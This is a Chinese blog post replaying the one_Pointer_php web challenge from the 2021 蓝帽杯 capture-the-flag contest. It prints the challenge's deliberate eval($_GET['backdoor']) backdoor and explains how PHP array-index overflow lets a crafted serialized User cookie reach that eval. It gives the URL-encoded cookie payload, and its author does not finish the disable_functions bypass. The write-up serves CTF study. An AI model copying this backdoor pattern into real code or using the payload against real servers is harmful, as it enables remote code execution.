蓝帽杯2021复现

蓝帽杯2021复现

one_Pointer_php

buu上开了环境,真不错

user.php

1
2
3
4
5
<?php
class User{
public $count;
}
?>

add_api.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>

就两个文件……

当时看了半天,就只知道要绕过if($count[]=1)……可这玩意不是恒对的吗……

这关系到php的索引数组溢出

PHP数组

https://blog.csdn.net/weixin_43821278/article/details/114763459

根据这篇文章的实验

1
2
3
4
5
6
//php 5.59nts

<?php
$a[2147483647]="ccc";
$a[]="bbb";
var_dump($a);

输出:

image-20210508181911478

$a[]访问到的是当前最大数值索引的下一位

也就是说,在5.5.9nts版本下,2147483647就是数值索引的界限,而2147483647正是5.5.9版本中默认设置的整型最大值:PHP_INT_MAX:int(2147483647)

这里的int,是有符号32位二进制可表示的最大数

2^31-1=2147483647

如果超过了呢?

image-20210513165829865

这里会转化为范围更大的float储存……

image-20210513165839374

数组中溢出后就会回滚从int的最小值,于是会符合这样的规律:

0—2147483647 下标0~2147483647

2147483648—4294967296 下标-2147483648~0

4294967296—6442450943 下标 0~2147483647

下一个溢出为0的数字是:8589934592

这样使用似乎没什么问题,但如果是通过$a[]去获取就会产生报错,相关版本的题目是XCTF-favorite_number,可以研究研究。

较新的版本

这里是7.3.4nts的php版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
echo "PHP_INT_MAX:";
var_dump(PHP_INT_MAX);
echo "<br>";
echo "PHP_INT_MIN:";
var_dump(PHP_INT_MIN);
echo "<br>";
echo "PHP_INT_SIZE:";
var_dump(PHP_INT_SIZE);

$a =9223372036854775806;
$b =9223372036854775806;

echo "<br>";
var_dump(is_int($a));
$a++;

echo "<br>";
var_dump(is_int($a));
$a++;

echo "<br>";echo "is_int:";
var_dump(is_int($a));
echo "<br>";echo "is_float:";
var_dump(is_float($a));

echo "<br>";
echo $b;
$b++;

echo "<br>";
echo $b;
$b++;

echo "<br>";
echo $b;
1
2
3
4
5
6
7
8
9
10
11
输出:
PHP_INT_MAX:int(9223372036854775807)
PHP_INT_MIN:int(-9223372036854775808)
PHP_INT_SIZE:int(8)
bool(true)
bool(true)
is_int:bool(false)
is_float:bool(true)
9223372036854775806
9223372036854775807
9.2233720368548E+18

同样会转化为float而不再属于整型,并会以科学计数法输出

这里的“int”,是有符号64位二进制可表示的最大数,或者说,我们更加熟悉的long long int

2^63-1=9223372036854775807

较新的版本大概是提高了索引溢出的阈值……

1
2
3
4
5
6
7
8
9
<?php

$a[9223372036854775806]="haha";

$a[] =1;
var_dump($a);

$a[] =1;
var_dump($a);

image-20210513165907924

最后的语句成功报错,根据这个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}

$a =new User();
$a ->count=9223372036854775806;

$a =urlencode(serialize($a));

echo $a;

?>

就可以成功绕过赋值判断

O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

执行命令,来phpinfo看看敏感信息:

image-20210513165922744

……上一个绕过disable_function的还是so劫持或者蚁剑插件……不是很会……

看了dalao的wp,一直搞不好……原理倒是看了七七八八……

然后……没有然后了……蹲一个好大佬的wp😢

作者

inanb

发布于

2021-05-08

更新于

2021-08-23

许可协议


:D 一言句子获取中...